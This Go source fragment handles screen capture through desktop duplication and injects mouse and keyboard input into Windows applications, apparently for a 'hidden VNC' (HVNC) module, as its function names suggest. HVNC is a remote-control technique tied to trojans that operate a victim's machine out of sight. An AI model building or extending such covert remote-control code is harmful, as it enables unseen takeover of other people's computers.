|
|
if s.context != nil {
|
|
s.context.Release()
|
|
s.context = nil
|
|
}
|
|
if s.output1 != nil {
|
|
s.output1.Release()
|
|
s.output1 = nil
|
|
}
|
|
if s.output != nil {
|
|
s.output.Release()
|
|
s.output = nil
|
|
}
|
|
if s.adapter != nil {
|
|
s.adapter.Release()
|
|
s.adapter = nil
|
|
}
|
|
if s.factory != nil {
|
|
s.factory.Release()
|
|
s.factory = nil
|
|
}
|
|
if s.device != nil {
|
|
s.device.Release()
|
|
s.device = nil
|
|
}
|
|
s.outputName = ""
|
|
s.bounds = image.Rectangle{}
|
|
PutRGBA(s.lastBase)
|
|
s.lastBase = nil
|
|
PutRGBA(s.lastFrame)
|
|
s.lastFrame = nil
|
|
s.lastFrameAt = time.Time{}
|
|
s.createdAt = time.Time{}
|
|
}
|
|
|
|
func (s *virtualDuplicationState) composeFrame(base *image.RGBA, nativeW, nativeH int) *image.RGBA {
|
|
if base == nil {
|
|
return nil
|
|
}
|
|
imgW := base.Bounds().Dx()
|
|
imgH := base.Bounds().Dy()
|
|
userScale := effectiveScale(nativeW, nativeH)
|
|
withCursor := virtualCursorEnabled
|
|
|
|
dstW := int(float64(nativeW) * userScale)
|
|
dstH := int(float64(nativeH) * userScale)
|
|
alreadyScaled := (imgW == dstW && imgH == dstH) && (imgW != nativeW || imgH != nativeH)
|
|
if !withCursor && (userScale == 1 || alreadyScaled) {
|
|
return base
|
|
}
|
|
|
|
img := base
|
|
if withCursor {
|
|
img = s.ensureCursorScratch(base.Rect)
|
|
copy(img.Pix, base.Pix)
|
|
}
|
|
bounds := s.bounds
|
|
if bounds.Dx() != int(s.desc.ModeDesc.Width) || bounds.Dy() != int(s.desc.ModeDesc.Height) {
|
|
bounds = image.Rect(bounds.Min.X, bounds.Min.Y, bounds.Min.X+int(s.desc.ModeDesc.Width), bounds.Min.Y+int(s.desc.ModeDesc.Height))
|
|
}
|
|
if withCursor {
|
|
drawCursorRotated(img, bounds, bounds, s.desc.Rotation)
|
|
}
|
|
|
|
if !alreadyScaled && dstW > 0 && dstH > 0 && (dstW != imgW || dstH != imgH) {
|
|
img = resizeNearest(img, dstW, dstH)
|
|
}
|
|
return img
|
|
}
|
|
|
|
func (s *virtualDuplicationState) ensureCursorScratch(rect image.Rectangle) *image.RGBA {
|
|
return image.NewRGBA(rect)
|
|
}
|
|
|
|
func (s *virtualDuplicationState) copyLastBase(src *image.RGBA) {
|
|
if src == nil {
|
|
PutRGBA(s.lastBase)
|
|
s.lastBase = nil
|
|
return
|
|
}
|
|
width := src.Rect.Dx()
|
|
height := src.Rect.Dy()
|
|
need := len(src.Pix)
|
|
if s.lastBase != nil && cap(s.lastBase.Pix) >= need && cap(s.lastBase.Pix) <= need*2 {
|
|
s.lastBase.Pix = s.lastBase.Pix[:need]
|
|
s.lastBase.Stride = width * 4
|
|
s.lastBase.Rect = image.Rect(0, 0, width, height)
|
|
copy(s.lastBase.Pix, src.Pix)
|
|
return
|
|
}
|
|
PutRGBA(s.lastBase)
|
|
s.lastBase = cloneRGBA(src)
|
|
}
|
|
|
|
func (s *virtualDuplicationState) readbackFrame(width, height int, rotation uint32, resource *iunknown,
|
|
wantScale bool, dstW, dstH int) (*image.RGBA, uintptr) {
|
|
if resource == nil || s.device == nil || s.context == nil {
|
|
return nil, uintptr(1)
|
|
}
|
|
var tex *d3d11Texture2D
|
|
hr := resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex))
|
|
if hr != S_OK || tex == nil {
|
|
return nil, hr
|
|
}
|
|
defer tex.Release()
|
|
|
|
var srcDesc d3d11Texture2DDesc
|
|
tex.GetDesc(&srcDesc)
|
|
if srcDesc.Width == 0 || srcDesc.Height == 0 {
|
|
return nil, uintptr(1)
|
|
}
|
|
|
|
if s.staging == nil || s.stagingDesc.Width != srcDesc.Width || s.stagingDesc.Height != srcDesc.Height || s.stagingDesc.Format != srcDesc.Format {
|
|
if s.staging != nil {
|
|
s.staging.Release()
|
|
s.staging = nil
|
|
}
|
|
stagingDesc := srcDesc
|
|
stagingDesc.Usage = d3d11UsageStaging
|
|
stagingDesc.BindFlags = 0
|
|
stagingDesc.CPUAccessFlags = d3d11CpuAccessRead
|
|
stagingDesc.MiscFlags = 0
|
|
stagingDesc.MipLevels = 1
|
|
stagingDesc.ArraySize = 1
|
|
stagingDesc.SampleDesc.Count = 1
|
|
stagingDesc.SampleDesc.Quality = 0
|
|
var staging *d3d11Texture2D
|
|
hr = s.device.CreateTexture2D(&stagingDesc, nil, &staging)
|
|
if hr != S_OK || staging == nil {
|
|
return nil, hr
|
|
}
|
|
s.staging = staging
|
|
s.stagingDesc = stagingDesc
|
|
}
|
|
|
|
s.context.CopyResource(s.staging, tex)
|
|
var mapped d3d11MappedSubresource
|
|
hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped)
|
|
if hr != S_OK {
|
|
return nil, hr
|
|
}
|
|
defer s.context.Unmap(s.staging, 0)
|
|
if mapped.Data == nil || mapped.RowPitch == 0 {
|
|
return nil, uintptr(1)
|
|
}
|
|
|
|
pitch := int(mapped.RowPitch)
|
|
srcH := int(srcDesc.Height)
|
|
srcW := int(srcDesc.Width)
|
|
if pitch < srcW*4 {
|
|
return nil, uintptr(1)
|
|
}
|
|
totalBytes := pitch * srcH
|
|
if totalBytes/srcH != pitch {
|
|
return nil, uintptr(1)
|
|
}
|
|
src := unsafe.Slice((*byte)(mapped.Data), totalBytes)
|
|
var img *image.RGBA
|
|
if wantScale {
|
|
img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation)
|
|
}
|
|
if img == nil {
|
|
img = convertBGRA(src, pitch, int(srcDesc.Width), int(srcDesc.Height), rotation)
|
|
}
|
|
|
|
return img, S_OK
|
|
}
|
|
|
|
func SetVirtualCursorCapture(enabled bool) {
|
|
virtualCursorEnabled = enabled
|
|
}
|
|
|
|
func VirtualInputMouseMove(x, y int32) error {
|
|
virtualMu.Lock()
|
|
bounds := virtualMonitorBounds
|
|
virtualMu.Unlock()
|
|
|
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
|
virtualInputMu.Lock()
|
|
virtualLastCursor = point{x: x, y: y}
|
|
virtualHasCursor = true
|
|
virtualInputMu.Unlock()
|
|
return nil
|
|
}
|
|
|
|
if bits := virtualLastScale.Load(); bits != 0 {
|
|
if s := math.Float64frombits(bits); s > 0 && s < 1 {
|
|
x = int32(float64(x) / s)
|
|
y = int32(float64(y) / s)
|
|
}
|
|
}
|
|
|
|
absX := bounds.Min.X + int(x)
|
|
absY := bounds.Min.Y + int(y)
|
|
if absX < bounds.Min.X {
|
|
absX = bounds.Min.X
|
|
}
|
|
if absY < bounds.Min.Y {
|
|
absY = bounds.Min.Y
|
|
}
|
|
if absX >= bounds.Max.X {
|
|
absX = bounds.Max.X - 1
|
|
}
|
|
if absY >= bounds.Max.Y {
|
|
absY = bounds.Max.Y - 1
|
|
}
|
|
|
|
virtualInputMu.Lock()
|
|
virtualLastCursor = point{x: int32(absX), y: int32(absY)}
|
|
virtualHasCursor = true
|
|
virtualInputMu.Unlock()
|
|
moveVirtualWindowIfDragging(point{x: int32(absX), y: int32(absY)})
|
|
resizeVirtualWindowIfDragging(point{x: int32(absX), y: int32(absY)})
|
|
|
|
pt := point{x: int32(absX), y: int32(absY)}
|
|
hitHwnd := windowFromPoint(pt)
|
|
if hitHwnd != 0 {
|
|
root := rootWindow(hitHwnd)
|
|
prevWorking := virtualGetWorkingWindow()
|
|
virtualRememberWorkingWindow(hitHwnd)
|
|
prevRoot := rootWindow(prevWorking)
|
|
if prevWorking == 0 || (prevRoot != root && !sameProcessWindows(prevRoot, root)) {
|
|
procSetForegroundWindow.Call(root)
|
|
procSetActiveWindow.Call(root)
|
|
procSetFocus.Call(hitHwnd)
|
|
}
|
|
|
|
clientPt := pt
|
|
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
|
procPostMessageW.Call(hitHwnd, WM_MOUSEMOVE, uintptr(virtualCurrentMouseButtons()), makeLParam(clientPt.x, clientPt.y))
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func VirtualInputMouseDown(button int) error {
|
|
pt := virtualCurrentCursor()
|
|
|
|
virtualSetMouseButton(button, true)
|
|
|
|
hitHwnd := windowFromPoint(pt)
|
|
if hitHwnd == 0 {
|
|
return nil
|
|
}
|
|
|
|
root := rootWindow(hitHwnd)
|
|
prevWorking := virtualGetWorkingWindow()
|
|
virtualRememberWorkingWindow(hitHwnd)
|
|
|
|
prevRoot := rootWindow(prevWorking)
|
|
if prevWorking == 0 || (prevRoot != root && !sameProcessWindows(prevRoot, root)) {
|
|
procSetForegroundWindow.Call(root)
|
|
procSetActiveWindow.Call(root)
|
|
procSetFocus.Call(hitHwnd)
|
|
}
|
|
|
|
if button == 0 {
|
|
lparam := makeLParam(pt.x, pt.y)
|
|
ncHwnd := rootWindow(hitHwnd)
|
|
hitTest := safeNCHitTest(ncHwnd, lparam)
|
|
|
|
if hitTest != HTCLIENT && hitTest != 0 {
|
|
if hitTest == HTCLOSE {
|
|
return nil
|
|
}
|
|
|
|
if hitTest == HTCAPTION {
|
|
var r rect
|
|
if ok, _, _ := procGetWindowRect.Call(ncHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 {
|
|
virtualInputMu.Lock()
|
|
virtualMovingWindow = true
|
|
virtualWindowToMove = ncHwnd
|
|
virtualMoveOffset = point{x: pt.x - r.left, y: pt.y - r.top}
|
|
virtualWindowSize = point{x: r.right - r.left, y: r.bottom - r.top}
|
|
virtualInputMu.Unlock()
|
|
}
|
|
return nil
|
|
}
|
|
if isVirtualResizeHit(hitTest) {
|
|
var r rect
|
|
if ok, _, _ := procGetWindowRect.Call(ncHwnd, uintptr(unsafe.Pointer(&r))); ok != 0 {
|
|
virtualInputMu.Lock()
|
|
virtualResizingWindow = ncHwnd
|
|
virtualResizeHit = hitTest
|
|
virtualResizeStart = pt
|
|
virtualResizeRect = r
|
|
virtualInputMu.Unlock()
|
|
}
|
|
return nil
|
|
}
|
|
|
|
if hitTest == HTMAXBUTTON {
|
|
return nil
|
|
}
|
|
|
|
if hitTest == HTMINBUTTON {
|
|
return nil
|
|
}
|
|
}
|
|
}
|
|
|
|
clientPt := pt
|
|
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
|
|
|
msg := uint32(WM_LBUTTONDOWN)
|
|
wparam := uintptr(MK_LBUTTON)
|
|
switch button {
|
|
case 1:
|
|
msg = WM_MBUTTONDOWN
|
|
wparam = MK_MBUTTON
|
|
case 2:
|
|
msg = WM_RBUTTONDOWN
|
|
wparam = MK_RBUTTON
|
|
}
|
|
|
|
procPostMessageW.Call(hitHwnd, uintptr(msg), wparam, makeLParam(clientPt.x, clientPt.y))
|
|
return nil
|
|
}
|
|
|
|
func VirtualInputMouseUp(button int) error {
|
|
pt := virtualCurrentCursor()
|
|
|
|
if button == 0 {
|
|
endVirtualWindowDrag(pt)
|
|
endVirtualWindowResize()
|
|
}
|
|
virtualSetMouseButton(button, false)
|
|
|
|
hitHwnd := windowFromPoint(pt)
|
|
if hitHwnd == 0 {
|
|
return nil
|
|
}
|
|
|
|
if button == 0 {
|
|
lparam := makeLParam(pt.x, pt.y)
|
|
ncHwnd := rootWindow(hitHwnd)
|
|
hitTest := safeNCHitTest(ncHwnd, lparam)
|
|
|
|
if hitTest == HTCLOSE {
|
|
procPostMessageW.Call(ncHwnd, WM_CLOSE, 0, 0)
|
|
return nil
|
|
}
|
|
if hitTest == HTMAXBUTTON {
|
|
if isWindowMaximized(ncHwnd) {
|
|
procPostMessageW.Call(ncHwnd, WM_SYSCOMMAND, SC_RESTORE, 0)
|
|
} else {
|
|
procPostMessageW.Call(ncHwnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0)
|
|
}
|
|
return nil
|
|
}
|
|
if hitTest == HTMINBUTTON {
|
|
procPostMessageW.Call(ncHwnd, WM_SYSCOMMAND, SC_MINIMIZE, 0)
|
|
return nil
|
|
}
|
|
}
|
|
|
|
clientPt := pt
|
|
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
|
|
|
msg := uint32(WM_LBUTTONUP)
|
|
wparam := uintptr(0)
|
|
switch button {
|
|
case 1:
|
|
msg = WM_MBUTTONUP
|
|
case 2:
|
|
msg = WM_RBUTTONUP
|
|
}
|
|
|
|
procPostMessageW.Call(hitHwnd, uintptr(msg), wparam, makeLParam(clientPt.x, clientPt.y))
|
|
return nil
|
|
}
|
|
|
|
func VirtualInputKeyDown(vk uint16) error {
|
|
pt := virtualCurrentCursor()
|
|
hwnd := windowFromPoint(pt)
|
|
if hwnd == 0 {
|
|
hwnd = foregroundWindow()
|
|
}
|
|
if hwnd == 0 {
|
|
hwnd = virtualGetWorkingWindow()
|
|
}
|
|
if hwnd == 0 {
|
|
hwnd = findAnyVisibleTopLevelWindow()
|
|
}
|
|
if hwnd == 0 {
|
|
return nil
|
|
}
|
|
root := rootWindow(hwnd)
|
|
prevWorking := virtualGetWorkingWindow()
|
|
virtualRememberWorkingWindow(root)
|
|
prevRoot := rootWindow(prevWorking)
|
|
if prevWorking == 0 || (prevRoot != root && !sameProcessWindows(prevRoot, root)) {
|
|
procSetForegroundWindow.Call(root)
|
|
procSetActiveWindow.Call(root)
|
|
procSetFocus.Call(hwnd)
|
|
}
|
|
virtualUpdateModifierState(vk, true)
|
|
|
|
if isModifierVK(vk) {
|
|
return nil
|
|
}
|
|
|
|
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
|
|
for _, r := range ch {
|
|
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1))
|
|
}
|
|
} else {
|
|
scan := mapVirtualKey(uint32(vk))
|
|
lparam := uintptr(1 | (scan << 16))
|
|
procPostMessageW.Call(hwnd, WM_KEYDOWN, uintptr(vk), lparam)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func VirtualInputKeyUp(vk uint16) error {
|
|
pt := virtualCurrentCursor()
|
|
hwnd := windowFromPoint(pt)
|
|
if hwnd == 0 {
|
|
hwnd = foregroundWindow()
|
|
}
|
|
if hwnd == 0 {
|
|
hwnd = virtualGetWorkingWindow()
|
|
}
|
|
if hwnd == 0 {
|
|
return nil
|
|
}
|
|
virtualUpdateModifierState(vk, false)
|
|
|
|
if isModifierVK(vk) {
|
|
return nil
|
|
}
|
|
|
|
scan := mapVirtualKey(uint32(vk))
|
|
lparam := uintptr(1 | (scan << 16) | (1 << 30) | (1 << 31))
|
|
procPostMessageW.Call(hwnd, WM_KEYUP, uintptr(vk), lparam)
|
|
return nil
|
|
}
|
|
|
|
func VirtualInputMouseWheel(delta int32) error {
|
|
pt := virtualCurrentCursor()
|
|
hwnd := windowFromPoint(pt)
|
|
if hwnd == 0 {
|
|
hwnd = virtualGetWorkingWindow()
|
|
if hwnd == 0 {
|
|
return nil
|
|
}
|
|
}
|
|
|
|
wparam := (uintptr(uint16(delta)) << 16) | uintptr(virtualCurrentMouseButtons())
|
|
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
|
return nil
|
|
}
|
|
|
|
func virtualCurrentCursor() point {
|
|
virtualInputMu.Lock()
|
|
if virtualHasCursor {
|
|
pt := virtualLastCursor
|
|
virtualInputMu.Unlock()
|
|
return pt
|
|
}
|
|
virtualInputMu.Unlock()
|
|
var pt point
|
|
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
|
|
return pt
|
|
}
|
|
|
|
func virtualGetWorkingWindow() uintptr {
|
|
virtualInputMu.Lock()
|
|
defer virtualInputMu.Unlock()
|
|
return virtualWorkingWindow
|
|
}
|
|
|
|
func virtualRememberWorkingWindow(hwnd uintptr) {
|
|
if hwnd == 0 {
|
|
return
|
|
}
|
|
virtualInputMu.Lock()
|
|
virtualWorkingWindow = hwnd
|
|
virtualInputMu.Unlock()
|
|
}
|
|
|
|
func virtualCurrentMouseButtons() uint32 {
|
|
virtualInputMu.Lock()
|
|
defer virtualInputMu.Unlock()
|
|
return virtualMouseButtons
|
|
}
|
|
|
|
func virtualSetMouseButton(button int, down bool) uint32 {
|
|
virtualInputMu.Lock()
|
|
defer virtualInputMu.Unlock()
|
|
var mask uint32
|
|
switch button {
|
|
case 0:
|
|
mask = MK_LBUTTON
|
|
case 1:
|
|
mask = MK_MBUTTON
|
|
case 2:
|
|
mask = MK_RBUTTON
|
|
default:
|
|
return virtualMouseButtons
|
|
}
|
|
if down {
|
|
virtualMouseButtons |= mask
|
|
} else {
|
|
virtualMouseButtons &^= mask
|
|
}
|
|
return virtualMouseButtons
|
|
}
|
|
|
|
func virtualUpdateModifierState(vk uint16, down bool) {
|
|
virtualInputMu.Lock()
|
|
defer virtualInputMu.Unlock()
|
|
switch vk {
|
|
case VK_SHIFT, VK_LSHIFT, VK_RSHIFT:
|
|
virtualShiftDown = down
|
|
case VK_CONTROL, VK_LCONTROL, VK_RCONTROL:
|
|
virtualCtrlDown = down
|
|
case VK_MENU, VK_LMENU, VK_RMENU:
|
|
virtualAltDown = down
|
|
case VK_CAPITAL:
|
|
if down {
|
|
virtualCapsLock = !virtualCapsLock
|
|
}
|
|
}
|
|
}
|
|
|
|
func moveVirtualWindowIfDragging(screenPt point) {
|
|
virtualInputMu.Lock()
|
|
moving := virtualMovingWindow
|
|
hwnd := virtualWindowToMove
|
|
offset := virtualMoveOffset
|
|
size := virtualWindowSize
|
|
virtualInputMu.Unlock()
|
|
if !moving || hwnd == 0 {
|
|
return
|
|
}
|
|
newX := int32(screenPt.x) - offset.x
|
|
newY := int32(screenPt.y) - offset.y
|
|
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0)
|
|
}
|
|
|
|
func isVirtualResizeHit(hit int32) bool {
|
|
return hit >= 10 && hit <= 17 // HTLEFT through HTBOTTOMRIGHT
|
|
}
|
|
|
|
func resizeVirtualWindowIfDragging(screenPt point) {
|
|
virtualInputMu.Lock()
|
|
hwnd, hit := virtualResizingWindow, virtualResizeHit
|
|
start, r := virtualResizeStart, virtualResizeRect
|
|
virtualInputMu.Unlock()
|
|
if hwnd == 0 || !isVirtualResizeHit(hit) {
|
|
return
|
|
}
|
|
dx, dy := screenPt.x-start.x, screenPt.y-start.y
|
|
left, top, right, bottom := r.left, r.top, r.right, r.bottom
|
|
switch hit {
|
|
case 10, 13, 16:
|
|
left += dx
|
|
case 11, 14, 17:
|
|
right += dx
|
|
}
|
|
switch hit {
|
|
case 12, 13, 14:
|
|
top += dy
|
|
case 15, 16, 17:
|
|
bottom += dy
|
|
}
|
|
const minW, minH = int32(120), int32(80)
|
|
if right-left < minW {
|
|
if hit == 10 || hit == 13 || hit == 16 { left = right-minW } else { right = left+minW }
|
|
}
|
|
if bottom-top < minH {
|
|
if hit == 12 || hit == 13 || hit == 14 { top = bottom-minH } else { bottom = top+minH }
|
|
}
|
|
procSetWindowPos.Call(hwnd, 0, uintptr(left), uintptr(top), uintptr(right-left), uintptr(bottom-top), 0x0010|0x0040)
|
|
}
|
|
|
|
func endVirtualWindowResize() {
|
|
virtualInputMu.Lock()
|
|
virtualResizingWindow = 0
|
|
virtualResizeHit = 0
|
|
virtualInputMu.Unlock()
|
|
}
|
|
|
|
func endVirtualWindowDrag(screenPt point) {
|
|
virtualInputMu.Lock()
|
|
moving := virtualMovingWindow
|
|
hwnd := virtualWindowToMove
|
|
offset := virtualMoveOffset
|
|
size := virtualWindowSize
|
|
virtualMovingWindow = false
|
|
virtualWindowToMove = 0
|
|
virtualInputMu.Unlock()
|
|
if !moving || hwnd == 0 {
|
|
return
|
|
}
|
|
newX := int32(screenPt.x) - offset.x
|
|
newY := int32(screenPt.y) - offset.y
|
|
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0)
|
|
}
|
|
|
|
var (
|
|
virtualNoWindowLogNs atomic.Int64
|
|
virtualCapImg *image.RGBA
|
|
)
|
|
|
|
func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
|
|
captureMu.Lock()
|
|
defer captureMu.Unlock()
|
|
|
|
setDPIAware()
|
|
|
|
bounds := virtualMonitorBounds
|
|
srcW := bounds.Dx()
|
|
srcH := bounds.Dy()
|
|
if srcW <= 0 || srcH <= 0 {
|
|
return nil, syscall.EINVAL
|
|
}
|
|
|
|
userScale := effectiveScale(srcW, srcH)
|
|
dstW := int(float64(srcW) * userScale)
|
|
dstH := int(float64(srcH) * userScale)
|
|
if dstW <= 0 || dstH <= 0 {
|
|
dstW = srcW
|
|
dstH = srcH
|
|
}
|
|
|
|
capW := srcW
|
|
capH := srcH
|
|
|
|
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
|
|
if !ok {
|
|
return nil, syscall.EINVAL
|
|
}
|
|
|
|
for i := range buf {
|
|
buf[i] = 0
|
|
}
|
|
|
|
drawn := drawVirtualWindowsToBuffer(hdcScreen, bounds, buf, capW*4)
|
|
if drawn == 0 {
|
|
now := time.Now().UnixNano()
|
|
last := virtualNoWindowLogNs.Load()
|
|
if now-last > int64(5*time.Second) && virtualNoWindowLogNs.CompareAndSwap(last, now) {
|
|
log.Printf("virtual capture: no windows drawn for bounds=%v", bounds)
|
|
}
|
|
}
|
|
|
|
swapRB(buf)
|
|
|
|
img := virtualCapImg
|
|
if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
|
|
img = image.NewRGBA(image.Rect(0, 0, capW, capH))
|
|
virtualCapImg = img
|
|
}
|
|
copy(img.Pix, buf)
|
|
|
|
_ = hdcMem
|
|
|
|
if dstW != capW || dstH != capH {
|
|
img = resizeNearest(img, dstW, dstH)
|
|
}
|
|
|
|
return img, nil
|
|
}
|
|
|
|
func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int {
|
|
hwnd := getTopWindow(0)
|
|
if hwnd == 0 {
|
|
return 0
|
|
}
|
|
hwnd = getWindow(hwnd, GW_HWNDLAST)
|
|
if hwnd == 0 {
|
|
return 0
|
|
}
|
|
|
|
if hvncWinCache == nil {
|
|
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
|
|
}
|
|
|
|
alive := make(map[uintptr]bool)
|
|
drawn := 0
|
|
|
|
for hwnd != 0 {
|
|
var r rect
|
|
ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
|
|
if ok == 0 || r.right <= r.left || r.bottom <= r.top {
|
|
alive[hwnd] = true
|
|
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
|
continue
|
|
}
|
|
|
|
winLeft := int(r.left)
|
|
winTop := int(r.top)
|
|
winRight := int(r.right)
|
|
winBottom := int(r.bottom)
|
|
|
|
if winRight <= bounds.Min.X || winLeft >= bounds.Max.X || winBottom <= bounds.Min.Y || winTop >= bounds.Max.Y {
|
|
alive[hwnd] = true
|
|
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
|
continue
|
|
}
|
|
|
|
if !isWindowVisible(hwnd) {
|
|
alive[hwnd] = true
|
|
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
|
continue
|
|
}
|
|
|
|
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
|
|
drawn++
|
|
}
|
|
alive[hwnd] = true
|
|
hwnd = getWindow(hwnd, GW_HWNDPREV)
|
|
}
|
|
|
|
for h, entry := range hvncWinCache {
|
|
if !alive[h] {
|
|
hvncFreeCacheEntry(entry)
|
|
delete(hvncWinCache, h)
|
|
}
|
|
}
|
|
|
|
return drawn
|
|
}
|